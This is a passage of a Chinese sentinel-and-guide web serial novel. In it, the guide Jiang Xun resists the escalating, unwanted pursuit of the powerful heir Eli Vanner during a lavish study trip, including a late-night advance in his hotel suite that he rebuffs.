这样的景象，远远超过了所有向导学院学生们的想象。特别是那些出身普通家庭的孩子，纷纷惊喜地长大了嘴巴，双目生辉地不住打量着面前的一切。 “天哪！这也叫种植园？” “这里简直比哨兵岛的商业中心还要繁华……” “你们快看，那边在楼顶上闪着光的，不会是空中泳池吧？” “看那边花坛里种着的，不会是一株就要一千多信用点的翠微草吧？” 学员们兴奋地交头接耳不住议论着，每个人都能在这里找到令自己兴奋的事物。 而此时，接待人员们也纷纷笑容满面地迎上前来，将各位学员引导着走入这片区域中最为宏伟的那栋中心酒店。 江寻曾经在议会宴会厅中工作过，可即使与那种中央星最顶级的场合相比，这处酒店也并不逊色太多。 大厅延续着这里的建筑宽旷恢弘的建筑风格，光滑的地板在天花板上悬挂下来的水晶灯映照下闪闪发光。所有的工作人员都非常年轻，面容姣好，身着统一的制服，对待学员们如出一辙的耐心恭敬，一看便知接受过十分严格的训练。 此时，他们正根据每位学员登记表上的号码为所有人分配着房间。等下让所有人顺利入住休息一会儿之后，这里的主人还有一场盛大的欢迎宴会要举行。 江寻安静地站在人群中间，等待着叫到自己的编号。他进门时同样在这地方打量了一番，但很快就对这些与他无关的奢华失去了兴趣。目光开始流连在外间各色不同的植株上，一边辨认着它们的名字，一边将它们的真实样貌与以往只从资料中看到过的模样一一对照、联系起来。 可事情从不因人的意愿而发展。 就在他满心舒畅，觉得这趟修学之旅尽皆如人意之时，一位身着沉稳的烟灰色燕尾服，头发被梳理得一丝不苟的中年人，穿过前方汹涌的人潮，径直走到了他的面前—— 作者有话说：晚上还有一章[托腮] 第184章 面前的中年男人一头夹杂着银丝的褐发， 被一丝不苟地梳到了脑后，严肃的面容上，两道深刻的法令纹诉说着他的严谨自持。 这人正是一直追随在伊莱身边的凡纳家族大管家， 劳伦斯。 只见劳伦斯一步步穿过人群向着江寻的方向走来， 周围的人们被他身上自然而然流露出的沉稳从容的气场所慑，默默让开了道路， 可眼神却都毫不避讳地凝视在他身上， 想看看这个身份明显不凡的人是要过来做什么。 劳伦斯就这样径直走到江寻面前，微微躬下了身。 “夏因先生，”劳伦斯管家的声音不快不慢，却带给人一种恰到好处的有礼与恭谨，“我奉凡纳少爷之命，为您引路。您的房间已经提前准备好了， 请您随我移步。” 从见到这个人的那一刻起，江寻的眉头就蹙了起来， 心中升起了一个匪夷所思的疑问。等他一句话出口，这个疑问顿时得到了证实， 不由再次头疼起来。 这次的修学旅行， 果然又是伊莱·凡纳的手笔。 他深吸了一口气，实在不想在众目睽睽之下与对方扯上关系，看向劳伦斯点了点头， 直接拒绝道：“谢谢凡纳少爷的好意， 不过不必麻烦了，我和其他同学一样住统一安排的房间就好。” 劳伦斯面上露出些许为难，声音再次清晰地响起，足以传入周围所有竖起耳朵的旁观者耳中：“夏因先生，这次需要安排入住的客人人数较多， 为了维持好秩序，所有学员的房间在报名时便已经按照预定的方案分配完毕了，您若是要临时调整的话，会打乱大家的整体安排。希望您不要为难我们。” 听到劳伦斯的话，周围的窃窃私语声先是一顿，随即迅速变大。意味不明的目光开始在两人身上来回扫视，并随着时间的推移愈演愈烈。 江寻沉默片刻，这里是对方的地盘，如果对方已经做了决定，那除非他今天打算露宿野外，不然恐怕最后还是得按照对方的安排行事。更何况这会儿几乎所有学员都集中在大厅里，若是在这种场合下继续坚持，恐怕只会引来更多不必要的关注。 “带路吧。”他暂时妥协了，微微低头，转身就走，声音里已经蕴了层少有的烦躁。 在众人灼灼的目光注视下，江寻跟随着劳伦斯走向升降梯，前往提前便被安排好的顶级套房。随着二人的身影消失在电梯门后，身后的议论声骤然放大。 待所有学员都顺利入住，大厅在众多侍从的整理下迅速变了一副样子。大厅中央升起一个阶梯舞台，华贵的地毯铺展开来，将整个大厅切割成数个层次分明的区域。巨大的圆桌摆了出来，被铺上洁白的桌布，配上精致的餐具座椅。 当众人接到通知重新下楼的时候，刚刚还空旷高挑的大厅，已然变成了雍容华贵的名利场。 这里的大部分学员都没有经历过如此规格的宴会，许多人都紧张得手足无措，更有不少重视自己形象的学员当机立断便返身回房，换上了自己最体面的衣服，这才重新风光入场。 宴会厅中，灯火辉煌，年轻的学员们在这里第一次懵懵懂懂地见识到了真正的名利场，被这梦幻般的一切迷得目眩神迷。 即便为了保持形象而尽量克制，场中还是一直被兴奋的私语声充斥，间或还夹杂着几声矫揉造作，亦或故作姿态的浅笑低语。 而早已久经世情的众位导师们，虽然也惊讶于这次规格过高的修学旅行，却都默契地没有多说什么，只是目光不时不经意地扫过静立场边的工作人员们，等着看他们这番举动究竟是为了什么。 大厅中的气氛在伊莱出现在中央的阶梯舞台上时，被彻底点燃。此时最先惊呼出声的，竟然变成了那些一直都表现得极为镇定自若的世家子弟们。众人睁大了眼睛，心中充满震惊与疑惑。虽然在场有许多人都知道阿卡夏集团也是凡纳家族的产业，可谁也没想到，区区一个小小的“修学旅行”，居然会吸引得凡纳家大少爷亲临现场。 场中的气氛随着越来越多的人认出伊莱的身份，而逐渐达到了高潮。台下的年轻学员们激动不已，没人能想到，他们只是出来参加一个免费的“修学旅行”，便能与联盟最顶级的家族继承人如此近距离的接触。 然而，他们激动得还是太早了，当伊莱身着简约高贵的礼服，从容不迫地发表完简短的欢迎词，之后却没有转身离去，而是径直走下舞台，向着他们的方向走来时，倒抽冷气的声音顿时在场中此起彼伏的出现。 所有人的目光都不由自主地追随着他的身影，看着他脚步不停，最终停在了宴会厅靠内圈的一侧。与周围的大圆桌不同，摆放在那里的只有一张相对较小的餐桌，而餐桌前，此刻也只坐着一位被特意引领过来的客人——江寻。 伊莱走到江寻面前，微笑着礼貌欠身致礼，而后极其自然地拉开了摆在江寻对面的椅子，坐了下来。 直到这时，众人才后知后觉地发现，整个宴会厅中，只有江寻所坐的那一桌是两人座，而其他所有学员，都是数个人共享一张大圆桌。 场中的气氛原本随着伊莱的下场而渐渐安静，此刻，又重新沸腾了起来。 惊呼声、议论声不绝于耳。骚动如同水波一般在整个宴会厅中荡开涟漪。无数双眼睛震惊地看向两人的方向，纷纷猜测是哪个人物能让凡纳家的大少爷如此礼遇。 “……那是谁？男的？你们谁认识他？” “伊莱少爷有联姻对象了？他今天该不会就是为了这个人来的吧？” “好像是高级研修班今年刚入学的一个向导……” “这个人……怎么有点眼熟？” “嘶……你们不认得了吗？这不是前阵子一直和陆厌离同进同出的那个小向导吗？” “什么？……不会吧，难道说最近陆厌离不来了，就是因为……” 无数道难以置信的目光纷纷落在了江寻身上，许多家世显赫，自身实力也格外出类拔萃，一直把伊莱视为追逐目标的世家向导，终于将注意力凝聚在了这个原本没被他们看在眼里的小向导身上。 这些人一开始看着陆厌离不顾世家脸面的追求，都把这两人家家酒一般的相处当做笑话。他们不论从家世背景还是自身的身份地位，都几乎与陆家不相上下，从来瞧不起那些不顾体面，上赶着把自家的子弟送到陆厌离面前的小家族。 在他们眼中，值得联姻的对象只有最顶级三大家族中的核心嫡系子弟。而伊莱，就是站在这些最核心的子弟中仍能傲视群雄的存在。 可以说，谁能打败其他竞争者，最终夺得凡纳家主母的位置，就可以在未来的几十年中稳坐联盟世家的头把交椅！这是他们从小到大被父母耳提面命，早已刻入自身骨血中的终极目标。 可是今天，这个被他们所有人争夺着的位置，居然就被这样一个名不见经传的小角色抢了，还是一个他们从没放进眼里的平民？ 许多上一秒还优雅矜持的世家子弟们，几乎控制不住从目光中流溢而出的嫉妒与厌恶。将目光死死钉在那张小小的二人餐桌上。 然而此时，也有一小部分人，与旁人的想法不同，心中充满了庆幸。 这些与江寻同级，一起在高级研修班中上课的学员们，纷纷轻吁口气，彼此交换着心照不宣的眼神。 “看到了吧？我之前就说，别以为陆厌离少将不在了，就能小看夏因。” “他到底有什么魅力，能让这么多高级哨兵一个个地都扑上去……” “身边来来去去的都是那些最优秀的高等级哨兵……怎么人人都追求他？” “是啊，之前的还能说是因为匹配度吧，自从他被洛伦茨背叛以后，找的哨兵是一个比一个来头大……真是邪门。” 江寻安静地坐在餐桌边，他能感受到从四面八方投射而来的众多视线，这些目光远比以往的任何一次都来得更有敌意，带来的压力也更大。 他不动声色地端起面前的水杯，手指平稳地抿了一口。半抬起眼来，眉目沉沉地迎上对面悠然落座的伊莱，带着笑意的目光。 一时之间，两人谁也没有开口，这里就像是逐渐如风暴般沸腾起来的宴会厅中，始终平静的台风眼。 只有略显疲惫的眼神、微微抿起的唇角，暴露出了江寻此刻心中油然而生的那股厌烦—— 作者有话说：伊莱再次出手[托腮] 第185章 宴会厅中， 任凭外围坐着的人群心中如何波涛汹涌，安坐于台风眼中心的两人，依然纹丝不动地安静用餐。 伊莱甚至心情很好， 嘴角一直挂着抹若有若无的笑意。吃着吃着， 偶尔会纡尊降贵地用公筷为江寻布菜，再随口说上一两句家常， 全然不理会江寻的沉默以对， 以及那越来越难看的脸色。 江寻看着碟子中再次多出来的菜肴，强忍着烦躁闭了闭眼，终于按捺不住，抬眼看向伊莱，声音中蕴着些压抑不住的燥意：“这次的修学旅行，也是你特意安排的？” 伊莱拿起餐巾优雅地擦了擦嘴角， 抬眼以赞许的眼神看了江寻一眼，唇角微扬。他知道夏因是个聪明人， 有些事本不必说得太明白。 江寻看着伊莱此刻丝毫不以为意的表情，猛地闭了闭眼， 按捺下心头翻涌的郁躁。形势比人强， 在联盟中，未婚的向导被哨兵追逐本是非常正常的一件事。况且，对方虽然一直在以权势开路， 可至今对自己并没有以强权逼迫， 始终保持着绅士风度，最后也的确是自己得了好处。旁人看到了，只会把它当做一桩风流轶事，就算说破天了去，别人也只会觉得是他在无理取闹。 平心而论， 若换做其他人的角度来看，也许真的会觉得这没什么大不了的，甚至会为了自己如此受欢迎而沾沾自喜，会因为自身得了实惠而选择睁一只眼闭一只眼。 只是自己从小到大，就极度讨厌这种被人操控，身不由己的感觉，才会对伊莱这样不容他拒绝的“接近”方式产生厌恶。 江寻深吸口气，不再追问，低下头安静地吃着自己盘子中的食物，借此调整自己的情绪。只是在伊莱后续再次试图表现出亲密时，不再理会，用更加明确的态度，表达出自己的拒绝。 伊莱又尝试了几次，都被他不动声色地避开。伊莱也不恼，依旧维持着自己无可挑剔的绅士风度，仿佛是在包容恋人无伤大雅的小脾气。 江寻在这样暗流汹涌的气氛中快速用完了午餐，起身就走，丝毫没去管身后一路追随着他的目光。 有了之前的前车之鉴，下午的参观活动中，江寻没有独自行动，而是一路跟随着导师和同学们的步伐，穿梭在各种珍惜植株之间。 纯粹的学术交流，这才让他心中那股子燥火渐渐冷却了下来。 因为伊莱的这层关系，江寻自然已经把阿卡夏集团划出了他未来的合作伙伴名单。但抛开个人情绪不谈，这个声名在外的生物集团果然不愧他们的名头，麾下拥有的珍惜植株多不胜数，只是半下午的参观，江寻就跟着导师亲眼见到了十数种在整个联盟中都极为罕见的珍贵药材。 更令人惊叹的是，那万千朵凝神花同时绽放的盛景。沐浴在那若有似无的清雅香气中，他感受到整个人都在这种具有舒缓药效的香氛中渐渐放松，体内的精神力也随之被推动，缓缓流转起来。这种能让人真切感受到的实力提升，总算缓解了他这一整天以来的烦闷心情。 也许是意识到自己中午逼得太紧，一整个下午的时间，江寻都没有看到伊莱的身影。然而，那位身着整齐燕尾服的劳伦斯管家仍然跟在江寻身后如影随形，始终保持着一个不远不近的距离。 每当江寻或他所在的小组对某种植物表现出了兴趣，劳伦斯就会适时地上前，轻声细语地为他们讲解这株植物的来龙去脉等更详尽的资料。若有人表现出了更进一步的兴趣，劳伦斯甚至会示意旁边的工作人员打开保护网，允许他们近距离观察，甚至亲自上手触摸。 这些特殊待遇都是周围的其他学员无法享有的。不得不说，在众多人群之中被如此区别对待，真的很容易让人产生优越感，一下子便让江寻的导师与同学们受宠若惊，对待劳伦斯的态度也不自觉地偏颇起来。 起初，大家在劳伦斯面前还显得有些拘谨，但很快，当他们察觉到这位大管家对江寻非同寻常的尊敬客气之后，话里话外，便带上了一些撮合的意味。 “夏因，你看凡纳少爷为你考虑得多周到，自己来不了，还特意令管家先生来全程陪同。”一个同学看着劳伦斯笑了笑，试探性地开口道。 “是啊是啊，今天中午凡纳少爷还亲自陪你共进午餐！这可是从未有过的事。”另一位年轻女孩接话道，语气中不自觉地带上了些羡慕之情。 “伊莱少爷的时间多么宝贵呀，他的家族在联盟里不知道有多少集团公司需要打理，还为了你亲自过来了，他对你真的没话说。” “是啊，你没看到有多少人羡慕你呢！” 劳伦斯耳听着这些劝慰的话语，面色不动，只是唇边的弧线更加明显了几分。直到众人的话音渐渐落下，他才上前一步微微欠身：“少爷曾说过，夏因先生便是他的无价之宝，不论如何珍视都不为过。” 听到这话，同行的几人顿时喜形于色，暗自交换几个眼神，知道自己说到了点子上，顿时更加兴奋起来，恭维的话更是层出不穷。 “伊莱少爷居然如此看重夏因你。” “夏因你真是走大运了啊！” “天哪，太甜蜜了，比之前的陆……”这句话说到一半，那说话的人猛然意识到了不妥，连忙在劳伦斯面前轻轻扇了扇自己的嘴巴，“呸呸，当然是凡纳少爷更好了。” 江寻蹙着眉头，看到面前的几人将自己当做恭维的素材，与劳伦斯聊得喜笑颜开的模样，毫不犹豫地开口打断：“我和伊莱并没有你们所想的那种关系。” 然而，他的澄清其实并不被他们任何人在意，轻飘飘地便被更多的奉承淹没了过去。 “明白明白，嘻嘻，我们都懂！” “咳，夏因你就是太低调了。” “是啊是啊，差不多就行了，你也得考虑下伊莱少爷的面子呀。” 在众人的心目中，这段关系的主导权从来都不在他手上。当伊莱·凡纳对某人表现出兴趣的时候，所有人就已经在心中默认了这段关系最后的结局。 江寻看着周围一张张脸上写满了毫不在意的面孔，一股无力的厌烦感涌上心头。 这里没有人关心真相，任何解释在他们心中都是徒劳，他们只能理解在自己认知范围内的想法，而在他们长久以来生活的环境中，早已形成的严苛阶级差异，让他们只会对比他们站得更高的人阿谀顺从，对比自己站得更低的人鄙夷不屑。 正是这种与他的价值观完全无法和解的现实，让他总能真真切切地感受到自己与这个世界的格格不入，让他始终无法真正融入这个世界，无法与除了陆厌离之外的任何一人建立更加密切的联系。 江寻脸上的表情淡了下去，心中一片寒凉，一瞬间失去了所有兴致，连辩解都变得苍白无力。 这一刻，连困扰了他一整天的焦躁都被这种无力感驱散，从他的心中失去了踪影。 他不再言语，也失去了与这些人继续同行的兴趣，转身离开参观队伍，径直走向酒店主楼。与其在这里为他人的攀援做梯子，他不如回房间里图个清净。 江寻一路走回酒店大厅，对那些围绕在他身边的闲言碎语充耳不闻。 走进电梯里按下楼层按钮。 可就在电梯门即将合拢的瞬间，一只骨节分明的大手从外面伸了进来，一把摁住了将将要关闭的电梯门。 这股力道大得让电梯门当即停了下来，在顿了一下之后，再次缓缓滑开。 江寻抿了抿唇，看着伊莱·凡纳放下手来，轻轻弹了弹手指，似乎是想掸去刚才那一下沾染上的灰尘。而后，露出一个一如既往的淡然微笑，踱步走进了电梯之中。 高大的身躯顿时遮住了电梯中一大半的光线，压在电梯里先头进来的几名学员心头，瞬间让他们感到一阵压力，吓得集体噤声，身体不自觉地绷紧，瑟缩着向着角落退去，将江寻身边的位置让了出来。 似乎对他们的识趣十分满意，伊莱赞许地瞥了一眼这些小向导，便将自己的注意力全部放在了江寻身上。 自然地走到江寻身边靠在厢壁上，伊莱旁若无人地侧过头去，丝毫不顾从侧面偷偷瞄过来的紧张又好奇的视线，对着江寻低语，音量却不知是不是故意的，恰好能让旁人听见：“怎么自己先回来了？玩得不开心？是不是累了？”语气里，带着一种自然的亲昵。 江寻却仿佛什么都没有听到，目光平淡地看向前方跳动着的楼层数字，一言不发。 伊莱的目光在江寻脸上逡巡一圈，发出一声带着点宠溺的轻笑，对他的无礼丝毫没有怪罪的意思。 没过几秒，随着“叮！”的一声，楼层到了。 江寻丝毫没有迟疑，迈步就走。 伊莱也施施然地起身，跟在了后面。却在电梯门即将关闭的刹那间，回过头去，对着电梯里那几个目瞪口呆的学员，优雅地将食指抵在唇边，做了一个意味深长的“噤声”手势，眼神中流转着的，是了然又纵容的宠溺笑意。 电梯门彻底合拢，隔绝了内外。 而门内，在一阵短暂的寂静之后，猛然爆发出了压抑不住的兴奋低呼。 “哇！你们看到了吗？凡纳少爷的那个笑容！好宠好甜！他们一定是真的！” “他们在同一个楼层下的！他们是不是住在一个房间啊？” “天哪！他们是闹别扭了吗？伊莱少爷在哄夏因向导？他们好配！” 发生在眼前的事实，让更加汹涌的流言，随着电梯的下行，在其余学员中轰然炸开，将这个绯闻以更迅猛的速度扩散了开来。 * 江寻大跨步地走回房间，一进门便反手锁上了房门。 安静的房间，令金属锁扣转动的声响在过分宽敞的套房里，显得格外清晰，又格外寂寥。 他信步往房间中走着，没有开顶灯，越走脊背就越发佝偻了下去，墙角昏暗的地灯映得他的脸忽明忽暗，像一团被搅浑了的池水。 走到沙发前，任由自己向前摔落下去。柔软的布料蒙住口鼻，厚实的海绵撑住身体，他长吸一口气，闭上了眼睛。 一整天的喧嚣与疲惫，以及那些纠纠缠缠黏在他身上的各色目光，在此刻化作了一种精神上的迟钝凝滞，一点点从身体深处漫了上来，淹没了他。 他的脑中空白一片，什么也不去想，用这短暂的宁静，安抚自己疲惫的精神。 不知过了多久，那些缠绕在身上的负面情绪才被他一一化解了去，心中重新恢复了平静。 他翻了个身，目光越过客厅看向窗外寂静的夜色。看着看着，脑海中不受控制地浮现出一双充满了依赖的碧色眼眸。指间痒痒的，手指互相摩擦几下，便回忆起了那顺滑的毛发从指缝中流过的质感。 他突然觉得怀里空落落的，那理所应当嵌在他怀中的温暖，此刻杳无踪迹。 这一刻他才发现，原来对某个人的思念，早已如藤蔓般蜿蜒缠绕住了他。 陆厌离，你现在是否安好？是否也在某个地方，这样思念过我？ 精神力随着他的思绪在体内沸腾了片刻，又慢慢平息了下来，待回过神来，江寻把这些思绪暂且按捺了下去。 伊莱的行为已经越来越高调明显了，他想要的是什么，自己心知肚明。 如果不是为了那个S级向导的身份能带来的好处，对方又岂会如此礼贤下士，费尽心思表现出一副对自己深情款款的模样？ 他测试出与伊莱的高匹配度，又不是第一天了。当初对方不也只是派劳伦斯来敲打了自己一番就作罢了吗？ 所以，不论如今的伊莱表现出何种姿态，江寻也一个字都不相信。 现在他在对方的地盘上，最重要的就是稳住对方，不能给他任何错误的信号，同时也不能让他完全失去耐心。要让他维持住自己那份“世家风范”，不能彻底与他撕破脸。想办法平安度过这两天，尽快返回中央星去。 心下计定，江寻重新打起了精神。 起身去浴室冲了个澡，让温热的水流稍稍驱散精神与身体上的疲惫，便换上了睡袍，准备早点休息，养足精神去应对明天的硬仗。 可刚刚进了卧室坐上床边，房间里侧，一扇他原以为是通往其他功能间的房门，便被轻轻敲响了。 江寻动作一顿，全身瞬间警觉了起来。来不及去重新换衣服，第一时间迅速整理了一下睡袍，确保不会释放出任何暧昧信号。 但门外的人可不会等他，还没等他站起身来走去门边，那扇门的把手就被人从另一侧按动，缓缓压了下去。 房门无声无息地向内滑开，伊莱的高大身影出现在了门口。 他同样换上了丝质睡袍，领口微微敞开，能透过露出的缝隙瞥见胸前的沟壑。金色滚边的暗灰色布料，闪烁着粼粼缎光，高大的身材，良好的仪态，令他即使身着睡袍都显得高贵得体，又因着夜色与这特殊的情境，平添了几分暗藏的诱惑。 他的手上拎着一支水晶醒酒器与两只高脚杯，脸上带着惯常的温和微笑，如果忽略他此番深夜穿着睡衣造访的行径，倒真能称得上一句君子风度。 江寻的脸色瞬间沉了下去，心底里涌起了一股对自己的懊恼。 明知这是伊莱的地盘，入住时竟然没有检查所有的门锁和房间，让对方如此轻易就侵入了进来。 可随即，他便意识到，即使他足够谨慎也无济于事。先不说这里本来就是对方的产业，他一定拥有所有房间的钥匙。就算没有，一道普普通通的门扉，又怎么可能拦得住一个动了念头的S级哨兵？ 江寻不露声色的站起身来，走出卧室，打开了顶灯，让明亮的光线驱散了来人身上带着的那点儿不同寻常的暧昧气息。 “伊莱阁下，深夜到访，有何贵干？” 伊莱笑看着江寻的动作，一点儿也没有阻止的意思。听到对方的问话，优雅地举了举手上的醒酒器，让暗红色的酒液在其中滚动起来，泛起涟漪。 “夏因，咱们认识也挺久了，但是一直没找到合适的机会能和你单独聊一聊。”他的语气温和，目光带笑深深看向江寻，“我想着，也许今晚就是个很好的时机，能让我们开诚布公地好好谈一谈。” 江寻看着他，同样露出了一个微笑，嘴上却反问道：“您不觉得这个时间和地点不太合适吗？我能拒绝吗？” 伊莱笑了笑，径直走进了房间，反手轻轻带上了门。 房门“咔嚓”一声关闭，令江寻心中也不为人知地咯噔了一声。 伊莱如同回到了自己的房间一般，信步走到沙发前，将手上的醒酒器与酒杯轻轻放在面前的茶几上。玻璃相撞，发出一声轻声脆响。 “你这么聪明，夏因，”他慢条斯理地提起醒酒器转了一圈，借着顶灯端详透明玻璃中艳红的色泽，露出一个笑意，“应该知道答案的，不是吗？” 他倾斜手中的器皿，让流动的艳红酒液注入面前的两只水晶杯，而后率先在沙发一侧坐了下来，目光转向江寻，对着对面的位置，伸手一引。 江寻站在原地停顿了两秒，知道今晚这番交锋已是避无可避。微垂下眼睫，心念电转间便冷静下来，顺着伊莱的意思走了过去，在他对面的沙发上坐了下来。 大方地接过那杯被推到自己面前的红酒，拇指在杯沿上滑动一圈，抬头露出个平和的笑容：“伊莱阁下，想聊些什么？” 伊莱看着江寻平静无波的表情，反而欣赏地笑了起来。 他的身体向后靠近沙发里，姿态放松，掌中的酒杯摇晃起来，酒液碰撞在杯壁上发出细微的声响。“不要紧张，放松点夏因，你的秘密，我不是早就知道了吗？既然如此，何不让我们开诚布公地谈一谈。” 他啜饮了一口酒液，继续道：“全联盟都不知道，当初陆厌离是怎么神奇地从堕化的边缘上恢复过来，甚至因祸得福，实力更进一步的。但是我知道，一手缔造出这个奇迹的，就是你吧？新的S级向导希先生？” 他眼神专注地凝视在江寻身上，似乎想要看出他心底的波动。江寻却始终是一副云淡风轻的表情。 伊莱感兴趣地一笑，也不去介意江寻的沉默：“你们大概是在寂静星上相遇的？这份最初的共患难的情谊，确实难得，也许就是因为这份特殊，才让你直到现在都坚定地站在他的身边。” 说到这里，伊莱的表情认真了起来：“但是你有没有考虑过，你如今的选择，或许只是因为当初可能存在的承诺，或许只是因为你见到过的世界还不够大，尝试过的真正顶尖的哨兵，还不够多？” 他的身体微微前倾，声音越发低沉了下去，带着蛊惑人心的力量。 “你看，从家族势力、自身权柄、掌控的资源、乃至在联盟中的地位，陆厌离都完全没法和我相比。他唯一能与我匹敌的，只有一个S级哨兵的身份。但是，走到了我们这个位置的人，自身的实力也只是锦上添花而已。客观地说，我就是目前整个联盟内部，综合条件最为优越的未婚哨兵了。” “而你，”伊莱的视线从江寻身上扫过，带着毫不掩饰的欣赏与势在必得，“是联盟年轻一代中，唯一踏上了那条寻道者之路，真正的S级向导。最强与最强的结合，才是这个世界上最符合逻辑，也最稳固的同盟。” “你能帮助我和我的家族，长久而稳固地称霸着整个联盟，甚至更进一步。而我，能提供所有外在的条件，让你的寻道之路更加顺畅。我们是天造地设的一对，理所应当并肩而立。”伊莱紧紧盯着江寻，不放过他面上可能存在的任何一丝动摇。 “只要你选择了我，那么，你的整个人生都会踏上一个新的台阶，从此不同。而我们，也将在未来的上百年中，携手共掌全联盟的命运！” 伊莱的话语在安静的房间里回荡着，其中没有任何激烈的情绪，只有理所应当的笃定与自信。 他深深看向江寻，用这样几乎可以预见的未来，诱惑着他所认定的这位天造地设的伴侣。《 》 185-190 第186章 “伊莱阁下， 我的看法不同。” 江寻毫不退缩地迎上伊莱的视线，语气平稳地陈述着他的观点：“这世上永远不缺少天才与幸运儿。如果一味追求最好的，你会发现， 永远都会有更好的出现在身边。那到时候你要怎么做呢？换掉旧的吗？不，这不是我会选择的方式。” 江寻郑重地说道：“我只会选一个，并且要确保这个人也只会选择我。之后，无论遇到再美好的， 我也不会再次驻足。这才是我的选择， 与见过多少人无关。” 伊莱注视着江寻认真的神情， 仿佛在从他的话里，分辨着他内心真实的想法。 半晌， 轻笑一声，再开口时，语气已经带上了某种循循善诱的意味：“只选一个当然是好事， 大多数的向导最终都只会选一个人完成绑定。这当然也是大部分哨兵乐意见到的情景， 没人喜欢一直与他人分享自己的向导。可是夏因啊，只选一个并不意味着，你要从头到尾都只接触那么一个人啊。” “向导的数量本就比哨兵少得多， 每个向导在最终绑定前， 拥有多位维持固定关系的哨兵伴侣， 在联盟里本就是常态。通过比较、通过相处， 才能确定最后选择的是最适合自己的那一个。这对你来说难道不是好事吗？”伊莱探究地看向江寻， “我听说， 你至今都没有和除了陆厌离以外的任何一位哨兵建立过固定疏导关系， 连精神补偿都没人帮你做……是陆厌离对你的独占欲，才让你一直过着这种苦行僧一般的生活？” 他微微倾身，深深看向江寻：“这样不是太可惜了吗？你看看你身边的那些同学朋友， 哪个不是被数个哨兵环绕着的。而你呢？” “你是最强的向导，理应拥有最广阔、最自由的选择权，只要你想，整个联盟里恐怕没有哨兵会拒绝你。”伊莱的语速渐渐放慢，声音变得喑哑而诱惑，“你就不想趁着自己没绑定之前，多尝试一番吗？只有体验得更多，你才能明白什么才是你真正想要的。” “不，我不想尝试。”江寻丝毫没有被对方的假设诱惑到，声音仍然清晰而果断，“我想要的只有那么一个人而已。” “呵呵，你这完全就是没出校门的小孩子想法了。”伊莱轻笑出声，摇了摇头，语气中带着一种过来人的宽容，“你只是没有体验过，等你真正尝过各种不同的滋味，想法自然就会成熟起来，那时你才能明白我说的妙处。” 他放下了酒杯，忽然起身，一步踏前瞬间拉近了两人之间的距离。俯下身来一手撑住江寻身后的沙发，一手抓住了江寻的手掌。 俯身的动作令阴影笼罩住了江寻，气息迫近，呼吸间带着红酒微醺的味道。 他的双眼带着莫测的笑意凝视着江寻，声音完全低哑了下来，语调都变得暧昧不清：“陆厌离……那个毛头小子，连怎么和人相处都不会，他能懂什么？他能给你什么快乐？不如让我来教教你，什么是极致的快乐……”他的话语越来越露骨，带着明确的暗示，“等你尝试过了别的哨兵，自然会发现更多与以前截然不同的乐趣。” “如果你对这些不熟悉，或者心生顾虑，可以把一切都交给我，我有很多耐心……保证会让你感受到远胜陆厌离千百倍的快乐。”他的声音几近耳语，面庞缓缓凑近，想要做什么显而易见。 这一刻，江寻终于无法忍耐下去，面色骤变，猛地抬手狠狠将他推了开来。力道之大，让伊莱都猝不及防地惊讶睁眼，后退了半步。 江寻戒备地起身，看向伊莱的目光中带着无法克制的冰冷厌恶：“离我远点！” 伊莱刚刚被推开时还只是惊讶，此刻看清江寻眼中毫不掩饰的排斥，脸色瞬间阴沉了下来。 “你就这么排斥我……”他怒气上涌，正欲发作，却看到江寻正用力搓揉擦拭着刚才被他拉住的手掌，神情中失去了以往的平静，手上的动作用力到把自己的皮肤都搓红了，一张脸上写满了发自内心的嫌恶。 伊莱盯着他的动作，面上神色变幻，一个难以置信的念头从心头闪过。 “你……”伊莱的声音里，已经完全失去了刚才的暧昧气息，带着惊疑与一丝不敢相信的扭曲，“……难道是上面那个？” 江寻闻言一怔，他和陆厌离的互动从来发自内心，怎么想就怎么做了，从来没想过这方面的问题。可不管他们之间怎么相处，这都是他们私下里的事，他不可能去和任何外人描述，更不要说还是刚刚惹毛了他的伊莱。 他眉头一皱，不悦的情绪表露无疑，冷冷瞥了伊莱一眼：“这不关你的事。” 然而，江寻那一瞬间的反应与对待他的态度，已经准确无疑地告诉了伊莱答案。 这一瞬间，伊莱的脸色彻底难看了下来，他像是被什么东西噎住了，又像是被无法理解的事物打乱了所有的计划。半晌，恨恨低骂一声，愤懑地抬手捂住了脸，重重跌坐回身后的沙发里。 “该死的……”他失去风度地低骂出声，声音里充满了难以置信与一种不齿的愠怒，“陆厌离……堂堂少将，联盟之星，他为了绑住你，居然……居然愿意屈居人下？！” 半晌，房间里没有人说话，只有伊莱含糊不清地低骂声与愤怒的喘息。 江寻抿了抿唇，待刚才那种完全出于生理性的厌恶过去，他才冷静了下来，意识到自己这样剧烈的反应，几乎是与对方彻底撕破脸皮了。这样一来，如果伊莱情绪失控要做些什么，以自己目前的实力恐怕很难反抗成功。 他暗暗戒备起来，双眼死死盯着伊莱，等待着他接下来的反应。 而另一边的伊莱，发泄一阵之后，终于放下了手来。看向江寻的眼神复杂难辨。其中混杂着震惊、纠结、不甘，还有一丝计划被打乱的挫败感。 他神情变换不定，死死盯着江寻看了好半天，像是无法消化这个事实。 江寻也一直心神紧绷，精神力隐隐运转起来，随时准备着防备对方的暴起。 让江寻松了一口气的是，最终，伊莱还是恢复了理智。只是面色难看地恨恨骂了一句什么，便猛地起身，头也不回地摔门而去。 房间里终于重新恢复了寂静。 空气中残余的酒气还未散尽，被摔上的门扉仍未停止震动，可江寻已经放松了下来，重重吐出一口气，跌进了沙发里。 至此，今天晚上应该就算安全度过了。 只不过……结果不太理想。 江寻在心中思忖着，看伊莱的反应，经此一遭之后，他要么彻底放弃；要么，就会完全不再顾及他的个人意愿，使出更加强制的手段了。 只希望，今夜的此番摩擦，是福非祸。 第二天清晨，天光未亮，江寻就洗漱整理好离开了套房。 出了昨天的事，保险起见，他不想再一个人独行了。下了楼连餐厅都没有去，直接来到酒店大厅的公共休息区里，选了个显眼的位置坐下，打开终端，一边浏览学术资料，一边等待着其他学员们起床。 随着时间的流逝，身边往来的人变得越来越多，许多人看到江寻独自一人在大厅里等待，马上便扭头与身边的朋友窃窃私语起来。 江寻也不去理会这些，不管什么样的流言蜚语，都不会让他少一块儿肉。 一直等到导师也下了楼，宣布开始今天的集体参观活动后，他才收起终端，自然地融入了队伍之中。 好在也许是昨天的冲击太大，伊莱今天始终没有出现，这缓解了江寻情绪的同时，却也在他心中埋下了一个不大不小的隐忧。 不过，虽然伊莱没有在人前现身，劳伦斯管家依然一如既往地跟随在江寻身后，为他提供着无微不至却又不过分打扰的服务。 